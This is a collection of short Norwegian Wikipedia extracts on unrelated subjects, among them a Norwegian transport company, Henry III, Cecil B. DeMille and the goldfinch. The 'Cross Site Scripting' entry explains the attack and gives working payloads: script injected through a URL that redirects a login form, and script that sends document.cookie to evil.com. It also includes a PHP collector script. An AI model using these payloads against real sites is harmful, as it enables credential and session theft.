google/wiki40b huggingface dataset:
Bergen-Nordhordland Rutelag

Etablering

Med etebleringen av Lindaas-Masfjorden Dampskibsselskap fikk man et fungerende rutesystem av båter i Nordhordland og Gulen. Dette var noe man hadde savnet i området, da viktige ting som avgangstider var svært dårlig tilpasset for bøndene. Det ble derfor lyst til et første møte om etableringen av damskipselskapet i Bergen i februar 1880. I mai samme år ble selskapet etablert
Gjennom årene ble det en rekke sammenslåinger, A/S Bergen Nordhordland Trafikklag ble etablert først på 1950-tallet ved sammenslåinger av Alværsund & Manger Dampbåtlag A/S og Lindås-Masfjorden Dampskibslags Bilruter.
A/S Bergen Nordhordland Rutelag ble dannet i 1974 da A/S Bergen-Nordhordland Trafikklag, Indre Nordhordlands Dampbaatlag LL og A/S Arna-Osterøy Billag gikk sammen.
1. januar 2002 gikk BNR buss og innenriksferger inn i HSD ASA.

Ruteområde

BNR sitt ruteområde var Meland, Lindås, Radøy, Austrheim, Fedje, Masfjorden og Osterøy.
Selskapet var delt i to forretningsområder: Bildivisjonen som besto av buss- og godsavdelinger i Knarvik og Lonevåg, og Rederiet som besto av innenriksferjene og Fjord Line AS.
BNR hadde høy standard på bussparken sin, og ble brukt på turbussmarkedet. Noe av årsaken til dette var den høye inntjeningen som selskapet hadde på Norges største riksvegferjesamband Knarvik-Steinestø, og som ble avløst av Nordhordlandsbrua i 1994.
Ceylanoglaucytes

Utbredelse

Artene lever på Sri Lanka.
Henrik III av Det tysk-romerske rike

Bakgrunn

Han var eldste sønn av kong Konrad II av Tyskland og Gisela av Schwaben, og faren gjorde ham til hertug av Bayern som Henrik VI i 1026, etter Henrik Vs død. Da faren ble kronet til tysk-romersk keiser på første påskedag 1028, ble Henrik valgt og kronet til konge av Tyskland i Aachen-katedralen av Pilgrim, erkebiskop av Köln. Etter at Herman IV, hertug av Schwaben døde i 1038, ga faren også dette hertugdømmet til ham i tillegg til kongeriket Burgund, som Konrad arvet i 1033.

Keiser

Da faren, Konrad II, døde den 4. juni 1039 ble Henrik enehersker i kongeriket Tyskland og Det tysk-romerske keiserriket.
På synoden i Sutri i desember 1046 fikk Henrik satt punktum for et bittert skisma innen pavedømmet. Den betraktes som den første reformsynoden under Henrik IIIs regjeringstid, og den skulle ta oppgjør med simoni, det vil si kjøp og salg av kirkelige embeter eller stillinger. Synoden kom til at pave Benedikt IX, som ikke var til stede, ikke lenger var å betrakte som pave. Sylvester III, som var kommet til synoden, ble ilagt en straff, men hva den bestod i, er ukjent. 
Gregor VI førte som fungerende pave forsete under synoden, men pådro seg så meget kritikk at han etter påtrykket fra forsamlingen erklærte seg beredt til fratreden for å gjøre veien fri for en ny og ubelastet pave. Den 24. desember 1046, altså noen dager etter, ble det avholdt en ny synode i Roma, som fortsatte med det reformverk som var påbegynt i Surti, som formelt avsatte Benedikt IX, og valgte en ny pave. Henriks ønskekandidat erkebiskop Adalbert av Hamburg-Bremen (hvis tilsynsområde også omfattet Norge og resten av Skandinavia) avslo, men foreslo en venn av seg, biskop Suidger av Bamberg. Derpå ble Suidger valgt til pave den 25. desember 1046 og tok navnet Klemens II.
Den nyutnevnte pave Klemens II kronet så umiddelbart Henrik til keiser i Roma. 
Henrik III utså med tiden fire tyskere til paver; Klemens II (1046-1047), Damasus II (1048), Leo IX (1049-1054) og Viktor II (1055-1057).
Keiseren ble i 1036 gift med den danske kong Knut den mektiges datter prinsesse Gunhild av Danmark. Sammen fikk de datteren Beatrix. Gunhild døde i 1038, og Henrik giftet seg på nytt i 1043 med Agnes, datter av hertug Wilhelm V av Aquitaine. Med Agnes fikk han en sønn som etterfulgte ham som keiser under navnet Henrik IV.
Kommandørkaptein Klincks vei (Horten)

Kommandørkaptein Klincks vei befinner seg på Karljohansvern i Horten kommune, og er kalt opp etter Christen Frederik Klinck, mannen bak Marinemuseet.

Historie

Veien fikk sitt nåværende navn 7. april 2003.

Lengde og beliggenhet

Veien begynner i krysset ved det gamle Administrasjonsbygget, hvor den møter Nedre vei. Mot øst går veien rundt 70 meter og ender i Øvre vei. Strekningen er ikke åpen for ordinær biltrafikk. Mot vest går veien ned til Indre Havn, hvor det er to veistubber, en til Lokalhistorisk senter og en til Marinemuseet og Preus museum. Totalt er denne veistrekningen på rundt 600 meter. Ved veien er det et par parkeringsplasser, beregnet både til Lokalhistorisk senter og museene, samt besøkende til Karljohansvern.
Boulevard des Invalides

Boulevard des Invalides er en gate i 7. arrondissement i Paris.Den har sitt navn etter Hôtel des Invalides. Forut for byggingen av Hôtel des Invalides var gaten kalt boulevard du Midi.
Drottningholms slottsstall

Drottningholms slottsstall er en bygning på Drottningholms slottsområde, den ligger like nord for Drottningholms slottskyrka på Lovön i Stockholms län. Bygningen ble oppført i etapper i 1737 og 1770 og rommer i dag lokaler for Högvakten, den kongelige vaktstyrken. 
I 1737 ble bygningens laveste del nærmest slottet bygd. Initiativet kom fra dronning Ulrika Eleonora og oppdraget gikk til arkitekt Carl Hårleman. Bygningen skulle romme slottets vogner og stall. Hårleman valgte å gi stallbygningen et rokokkomessig uttrykk. Anlegget ble på- og tilbygd i samme stil på 1770-talet med Carl Fredrik Adelcrantz som arkitekt.
På 1920-tallet ble stallplassene bygd om til bilgarasje. I denne sammenheng ble de store portene mot veien erstattet med små porter mot gården. På 1990-tallet ble de velbevarte 1700-tallsrommene restaurert for vaktstyrken, som i dag består av cirka 30 menn og kvinner på Drottningholm. Den kongelige vaktstyrken, Högvakten har fulgt kongefamilien hvor enn de har vært helt siden 1523. I og med at den nåværende kongefamilien flyttet ut til Drottningholm er vaktstyrken hele tiden på plass.
Tarragona gasskraftverk

Tarragona gasskraftverk er et gasskraftverk med kombinert gassdrift og oljefyring i Tarragona, Catalonia i Spania. Det har en installert produksjonskapasitet på 400 MW, fordelt på 1 turbin. Dette er et av landets mindre fossile kraftverk målt etter installert produksjonseffekt. Anlegget ble påbegynt omkring 2000 og stod ferdig i 2004, og operatør er E.ON.
Brenselkilden er naturgass. De totale CO2-utslippene i 2008 var ca. 775 500 tonn, mens det samme årets kvote var 313 800 tonn.
Den ukrainsk-ortodokse kirke i Canada

Historie

Ukrainerne som emigrerte til Canada rundt forrige århundreskifte (19./20. årh.) hørte hovedsakelig til to ulike kristne konfesjoner: den ukrainsk-katolske kirke (Vest-Ukraina) og den russisk-ortodokse kirke (Øst-Ukraina). Blant begge diaspora-samfunnene oppstod det etter hvert misnøye med moderkirkene: blant ukrainsk-katolikker fordi den katolske kirke i Canada ikke ville tillate gifte prester; blant de ortodokse fordi den russisk-ortodokse kirke i Nord-Amerika ikke tillot gudstjenester på ukrainsk. Kristne fra begge kirker møttes i et felles kirkemøte i Saskatoon i 1918 og bestemte seg der for å grunnlegge den ukrainske gresk-ortodokse kirke i Canada. Siden ingen av medlemmene var bispeviet, fikk kirke til slutt hjelp av den antiokensk-ortodokse erkebiskopen Germanos Shehadi i USA, som var villig til å overta ledelsen av den nye kirka.
I årene 1924 til 1946 ble kirka leda av John Teodorovych, som nettopp hadde emigrert fra Ukraina, der han hadde blitt utnevnt til biskop av den ukrainske autokefale ortodokse kirke. John var blitt leder for den ukrainsk-ortodokse kirke i USA, men besøkte de canadiske menighetene en gang i året. Også den neste lederen, Mstyslav Skrypnyk, var opprinnelig biskop av den ukrainske autokefale ortodokse kirke. Etter hans avgang måtte kirka vende seg til den ukrainske autokefale ortodokse kirke i Vest-Europa for hjelp, som sendte flere biskoper til Canada. Det østlige eparki ble oppretta i 1951, Det vestlige eparki i 1959.
Etter forhandlinger med den ortodokse kirke i Konstantinopel aksepterte kirka i 1990 den økumeniske patriarkens overhøyhet. Kirka ble dermed en autonom delkirke i Konstaninopel-patriarkatet. Samtidig skifta den navn fra den ukrainske gresk-ortodokse kirke i Canada til den ukrainsk-ortodokse kirke i Canada. I motsetning til den ukrainske autokefale ortodokse kirke i hjemlandet Ukraina er den canadiske kirka dermed i kommunion med de øvrige ortodokse kirkene.
Per Hagelien

Utdannelse

Hagelien har examen artium fra Bergens Handelsgymnasium i 1962 og juridisk embetseksamen fra Universitetet i Oslo i 1968. Han fikk bevilling som advokat i 1970. I 1970–1971 studerte han internasjonal rett på Universitetet i Aix-en-Provence. Han fikk bevilling som høyesterettsadvokat i 1976.

Virksomhet

Hagelien var dommerfullmektig ved Sotra Sorenskriverembete i Bergen i 1968–1970, fransk statsstipendiat ved universitetet i Aix-en-Provence i 1970–1971 og advokatfullmektig hos Høyesterettsadvokatene Martens og Michelsen i 1971–1974. I 1974 ble han partner i advokatfirmaet som skiftet navn til Advokatfirmaet Martens og senere, etter fusjon, til advokatfirmaet Schjødt. I 1980–1994 var han krigsadvokat for Vestlandet med grad av oberstløytnant og i 1988–2000 var han juridisk dommer i Den faste tekniske voldgiftsrett for Vestlandet.

Saker for Høyesterett

Hagelien førte en rekke saker for Høyesterett, derunder saken om erstatning for tap av hustrus økonomiske bidrag ved arbeid i og utenfor hjemmet som førte til den såkalte enkemannsdommen i 1976, saken om konkursbehandling av Johan L. M. Reksten som førte til den såkalte GI-dommen i 1983 og saken om Sparebanken Nords oppsigelse av ansatte i filialer i 1988 som førte til den såkalte Sparebanken Nord-dommen i 1992.

Tillitsverv som advokat

Hagelien var formann for advokatene i Bergen, Hordaland, Sogn og Fjordane krets av Den norske advokatforening i 1978–1980 og medlem av hovedstyret for Den norske advokatforening fra 1980–1984. Han var Den norske advokatforenings representant i Rådet for advokatforeningene i Europa (CCBE) i 1984–1994. Han var formann i redaksjonsrådet for Advokatbladet i 1985–1988.

Tillitsverv i næringslivet

Hagelien har vært medlem av styret i en rekke bedrifter i Bergen, derunder GC Rieber, Skadeforsikringsselskapet Vesta (nå del av Tryg), Livsforsikringsselskapet Hygea (nå del av DNB Livsforsikring), Investa (nå del av Anders Wilhelmsen & Co), Stord Bartz (nå del av Aker Stord), NERA og BaraGruppen (nå Bara Eiendom).
Videre har han vært medlem av styret i institusjoner som G.C. Rieber Fondene, Hilmar Rekstens almennyttige fond, Kristofer Lehmkuhls fond til fremme av norsk næringsliv, Vest Norges Opera og Grieg Foundation.

Familie

Per Hagelien er gift med billedkunstneren Henriette Hagelien, født Galtung Døsvig, og far til bransjedirektør Even Hagelien i NHO Service og handel
Cecil B. DeMille

Bakgrunn

Cecil B. DeMille var sønn til en nederlandsk far og en jødisk mor som var født i England. Han ble født i Massachusetts der foreldrene freierte, men vokste opp i Washington i Nord-Carolina. Da han var tolv år gammel døde hans far, og hans mor forsørget da familien ved å grunnlegge og drive en pikeskole og dessuten et teaterselskap. Da den spansk-amerikanske krig brøt ut i 1898 meldte DeMille seg som frivillig, men fikk avslag, ettersom han var mindreårig.

Arbeid og filmer

DeMille begynte karrieren som skuespiller i morens teatersellskap i 1900, men gikk senere over til å skrive manus og regissere for teaterscenen. Han debuterte med filmen The Squaw Man i 1914. I 1923 kom The Ten Commandments, hans første store episke film bygd på bibelske fortellinger. Filmen fikk god kritikk og ble en stor økonomisk suksess for filselskapet Paramount. 
DeMille ble siden kjent for overdådige produksjoner med sterk publikumsappell. Cleopatra fra 1934 var den første filmen hans som ble nominert til Oscar for beste film. Høydepunktet i karrieren begynte med Samson and Delilah i 1949, hans tredje bibelske epos, som fikk rekordartet framgang. Han ble nominert til Oscar for beste regi for første gang for Verdens største show (The Greatest Show on Earth), et sirkusdrama fra 1952 som fikk prisen for beste film og beste manus. 
Hans siste og mest berømte film, De ti bud (The Ten Commandments) fra 1956, skal være den sjuende mest innbringende filmen hittil i filmhistorien.
DeMille mottok en mengde andre utmerkelser, deriblant en æres-Oscar, Gullpalmen og Irving G. Thalberg Memorial Award. Han var også første mottaker av Golden Globe Cecil B. DeMille Award, en filmpris oppkalt etter ham selv. 
DeMille døde av hjertesjukdom 77 år gammel i januar 1959.
Pokémon-typer

Pokémon-typer (タイプ type) er egenskaper for Pokémoner og angrepene deres i den japanske mediafranchisen Pokémon. Fra generasjon VI er det 18 typer: Normal, Fire, Fighting, Water, Flying, Grass, Poison, Electric, Ground, Psychic, Rock, Ice, Bug, Dragon, Ghost, Dark, Steel og Fairy. Mesteparten av disse var introdusert gjennom generasjon I, men Dark og Steel var introdusert i generasjon II og Fairy-typen var introdusert i generasjon VI. I løpet av generasjon I var typer av og til referert til som elementer.
Cross Site Scripting

Eksempel på phishing-angrep (litt teknisk)

Ta følgende form som et eksempel.
<form action="login.php" method="post">
<input type="text" name="user><br />
<input type="password" name="pass"><br /><br />
<input type="submit" value="Logg inn">
</form>
Ved å forandre «login.php» til «http://evil.com/stjel.php» kan en hacker lagre alle brukernavn og passord som blir lagt inn. En avansert hacker kan automatisere scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.

Eksempel på phishing-angrep i URL (litt teknisk)

De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en:
http://good.com/index.php?msg=Hei du". 
For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret:
http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>

Eksempel på stjeling av cookies (litt teknisk)

Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret:
http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>
Idet offeret intetanende klikker på linken vil «stjel.php» kalles. Denne kan for eksempel se slik ut:
<?php
$cookies=$_GET['id'];
$fp=fopen("cookies.txt", "a");
fwrite($fp, "Nye cookies: $cookies \n");
?>
Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret.
Stillits

Biologi

Reiret blir ofte plassert i hager og parker. Hunnen bygger et vakkert rede av frødun, røtter, gress, mose og hår. Det er godt kamuflert, ofte høyt i et tre. Stillits kan legge egg fra begynnelsen av mai til godt ut i juli, 4-6 egg som er blåhvite med brunlige flekker og ruges av hunnen i ca. 13 dager. Hannen bringer mat, ungene fôres med oppgulp og flyr etter ca. 16 dager.
Føde: Frø av tistel, borre, høymol og andre høye ugressplanter, litt bjørkefrø samt en del insekter.
Blant våre småfugler er det få som kan konkurrere med stillitsen i fargeprakt. Når den dertil er en flink sanger, er det ikke rart at den er populær i Mellom-Europa – dessverre så populær at den fanges og settes i bur. I forrige århundre var den så etterspurt som burfugl i England at det ble drevet regulær fuglehandel, og opptil 132 000 stillitser ble fanget på ett år.
Her i landet er stillitsen en mindre vanlig fugl og sees mest høst og vinter. Den streifer da omkring i små flokker, gjerne i tettbygde strøk, og besøker byløkker og andre åpne steder hvor det vokser borre, tistel og andre høye kurvplanter. Frø av slike ugressplanter som stikker opp over snøen er stillitsens viktigste vinterføde.
Fuglen er tillitsfull og lar seg ofte betrakte på nært hold. Vår og sommer ser vi den forholdsvis sjelden. Den hekker årlig flere steder rundt Oslofjorden, og det er også funnet reder på Jæren og Lista.
Det pussige navnet har stillitsen fått på grunn av lokketonene, som ofte gjengis som «stiglitt». Nå er en bokstavelig gjengivelse av fuglelåter vanskelig, og enkelte fuglebøker gjengir lokketonene som «pu-ppupi-pupipupi». Varselropet er et mykt «ææi». Sangen er en ganske vakker, flytende kvitring som minner om kanarifugltriller, oppblandet med varianter av lokkeropet. Både hann og hunn synger.
Jean Føyen

Bakgrunn og oppvekst

Jean Føyen ble født i Stord hjelpefengsel der hans mor Axeliane Johannesdatter Østreim satt fengslet. Moren ble dømt til seks måneders straffearbeid i Christiania Tugthus, og barnet ble satt bort til gårdbrukerparet Ingeborg Olsdatter Føyen (født i 1830) og Johannes Henriksen Føyen (født i 1834) på gården Føyno på Stord. 
Jean giftet seg med Una Lidberg.

Forfatterkarrieren

Han debuterte med diktsamlingen Blade i 1909. I 1911 utga han novellesamlingen Menneskers liv, og seks år senere kom en ny diktsamling. I 1924 ble Føyens Feriefryd : humoresker utgitt.

Føyen-samlinga på Stord folkebibliotek

Jean og Una Føyen donerte sin boksamling til Stord folkebibliotek som testamentarisk gave.
Aldri annet enn bråk

Handling

Arbeiderklassefamilien Bråten bor i øverste etasje i en leiegård i utkanten av Oslo. Familien består av tre sønner og to døtre samt mor og far på ett rom og kjøkken. Moren Hulda er familiens midtpunkt mens Bråten selv er en taus og innesluttet arbeider. Barna bidrar på hver sin måte til at naboene har rett når de utbryter: Aldri annet enn bråk! 
Det blir problemer for alle da politiet kommer inn bildet etter at den ene sønnen deltar i et biltyveri. Oppe i alt dette kaoset flytter den 16-årige Maiken ut og søker tvilsomme venninner, noe som bringer henne i konflikt med faren. En tragedie bringer familien sammen igjen.

Om filmen

VGs anmelder gav den terningkast fire og beskrev den på følgende måte: «Sjarmerende film om hverdagslivet i Oslo, men enkelte svake punkter. Ypperlig spill av Turid Haaland som hønemor som kjemper for mann og fem unger på ett værelse og kjøkken».

Annet

En dansk filmversjon kalt Altid ballade, ble innspilt året etter.
Ejército del Aire

Historie

Ejército del Aire ble opprettet i oktober 1939, helt på slutten av den spanske borgerkrigen. Fra 50-tallet og utover ble Spania nærmere knyttet opp mot USA, og piloter fra Ejército del Aire fikk trening der. Etter at Spania ble demokratisk på 70-tallet, ble organisasjonen forandret slik at den skulle passe bedre mot NATO, som Spania ble medlem av i 1982.

Materiell og personell

Ejército del Aire har rundt 27 300 medarbeidere og 650 ulike flyvemaskiner. Materiellet holder på å bli oppgradert til en bedre standard, slik man har prøvd på siden NATO-medlemskapet i 1982. Av den grunn kjøpte man inn F-18 fly i 1986, og man holder nå på å skaffe seg Eurofighter som blir det nye hovedflyet.
Aleksander Olsen (fotballtrener)

Vålerenga og Wang

Som 22-åring, underveis i trenerutdanningen ved Norges idrettshøgskole, ble Olsen i 2007 innlemmet i Vålerenga Fotballs elitesatsing under Martin Andresen og gikk gradene som gutte-, junior- og rekruttrener, i tillegg til å gjøre analyser for eliteserielaget.
I august 2013 tok Olsen over som sportssjef ved Wang Toppidrett Oslo, og 20. desember samme år tok han over som utviklingssjef i Vålerenga Fotball.

Fredrikstad og Wang

18. desember 2014 dro Olsen hjem til Fredrikstad og ble ny sportssjef på Wang Toppidrett Fredrikstad etter Tom Freddy Aune, samt assistenttrener i Fredrikstad Fotballklubb foran 2015-sesongen.
20. november 2015 ble Olsen kåret til årets unge trener i Norge av Norsk Fotballtrenerforening.
I desember 2018 ble Olsen ansatt som faglig ansvarlig i Fredrikstad Fotballklubbs utviklingsavdeling, hvor han sammen med tidligere landslagssjef Per-Mathias Høgmo skal «jobbe med å videreutvikle strukturen i utviklingsavdelingen og sørge for implementering og etterlevelse av FFK sitt gode og anerkjente planverk for utviklingsarbeidet».
Bendik Kajander

Biografi

Våren 2016 gav han ut sin første singel "E du den du vil vær?" på plateselskapet Brilliance under artistnavnet Kajander. Låta ble umiddelbart radiolistet på NRK P3, noe som førte til en rekke festivaljobber på bla. Øyafestivalen og Pstereo, og TV-opptreden på God Morgen Norge. 
I løpet av høsten 2016 ble han signert på plateselskapet Universal Music, og fulgte straks opp med flere singler, hvor samtlige ble listet på radio. Hans tredje singel E du som du va ble listet på NRK P3, og førte til opptreden på VG-lista topp 20 på Leknes. 
Han slapp låta Sola skinn som hadde stor rotasjon på NRK P1, og ledet til framføring på NRK1 for TV-aksjonen 2018 og Kirkens Bymisjon. Den etterfølgende singelen Du veit æ ikje vil ble fremført på NRK1 under Sommeråpent.  
Ved siden av musikken studerer Bendik Kajander rettsvitenskap ved Universitetet i Tromsø.
Bendiks far, Dag Kajander, er også musiker og har blant annet skrevet flere barnetimer for de minste på NRK, samt gitt ut flere album og bøker.
Astmahjemmet i Kongsberg

Astmahjemmet i Kongsberg var et behandlingshjem for danske barn med astma, eiet og drevet av Dansk Røde Kors 1950-1979.
Astmahjemmets bygningsmasse ble tegnet av arkitektene Karen og Odd Brochmann i 1950.
Astmahjemmet var en gave fra det norske folket som takk for forsyninger av mat til norske barn under 2. verdenskrig.
Bygningen ble oppført 1948-49 i Saggrenda, ca 8 km fra Kongsberg, 350 moh., hvor luften er ren og tørr og gunstig mot astma. Astmahjemmet ble innvigd 1950 under tilstedeværelse av daværende kronprins Olav, som uttalte ønsket om "at oppholdet her i den sunne norske luft vil hjelpe de danske barn, så de ikke lenger blir plaget av astma og får varig helbredelse". Astmahjemmet ble deretter overdratt Dansk Røde Kors.
Astmahjemmet ga tilbud om 4 måneders opphold, for tre grupper i året. På hver gruppe var det 60 barn. De fleste barn var mellom 4 og 12 år gamle, enkelte yngre og eldre. Noen barn hadde et enkelt opphold på Astmahjemmet, andre to eller flere opphold. Barna var visiterte av barnelegen Erhard Winge Flensborg i København.
På Astmahjemmet var det tilsatt bestyrerinne ("pleiemor"), barnepleiersker og pedagoger ("tanter"), kjøkken- og vaskepersonale og lærerinne, nesten alle fra Danmark. Eneste nordmann var vaktmester ("onkel"). 
I de første årene besto behandlingen alene i kost og mosjon og frisk luft i et sosialt miljø blant likestilte. Etter hvert ble det gitt mer aktiv medisinsk behandling med oksygen, adrenalin og kortison. Samtidig ble antall barn på hver gruppe redusert til 45. 
Det var tre timers skolegang hver dag med den danske lærerinnen.
Astmahjemmet ble nedlagt 1979 etter beslutning i Dansk Røde Kors. I løpet av de 29 årene, fra 1950 til 1979, hadde 4-5000 danske barn hatt et eller flere 4-måneders opphold på Astmahjemmet. Dessuten noen få norske barn.
Bygningen ble solgt, og etter flere eiere overtatt av Adventistene, som i dag driver det som kurstedet "Fredheim".
Det er opprettet grupper på Facebook for barn og tilsatte fra Astmahjemmet. Januar 2012 ble det gjennom Facebook arrangert et treff i Skanderborg, hvor tidligere barn og tilsatte utvekslet minner og erfaringer fra oppholdet på Astmahjemmet.